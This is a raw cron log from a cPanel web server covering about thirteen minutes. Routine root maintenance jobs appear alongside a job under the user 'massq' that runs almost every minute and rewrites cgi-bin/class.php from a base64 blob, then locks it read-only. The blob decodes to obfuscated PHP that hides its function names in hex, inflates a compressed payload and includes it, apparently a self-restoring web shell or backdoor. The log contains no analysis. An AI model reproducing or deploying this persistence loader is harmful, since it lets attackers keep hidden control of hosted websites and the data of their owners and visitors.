Nov 13 17:32:02 server CROND[3731]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 17:33:01 server CROND[4476]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 17:34:01 server CROND[5131]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 17:35:01 server CROND[5993]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 17:35:01 server CROND[5997]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 17:35:01 server CROND[5996]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 13 17:35:01 server CROND[5998]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 17:35:01 server CROND[5999]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov 13 17:36:01 server CROND[6972]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 17:37:01 server CROND[7938]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 17:38:01 server CROND[8887]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 17:39:01 server CROND[9826]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 13 17:39:01 server CROND[9827]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 17:40:01 server CROND[10693]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 17:40:01 server CROND[10695]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 17:40:01 server CROND[10696]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 17:40:01 server CROND[10698]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 13 17:41:01 server CROND[11672]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 17:42:01 server CROND[11988]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 13 17:42:01 server CROND[11990]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 17:43:01 server CROND[12506]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 17:44:01 server CROND[13344]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 17:45:01 server CROND[14196]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 17:45:01 server CROND[14197]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
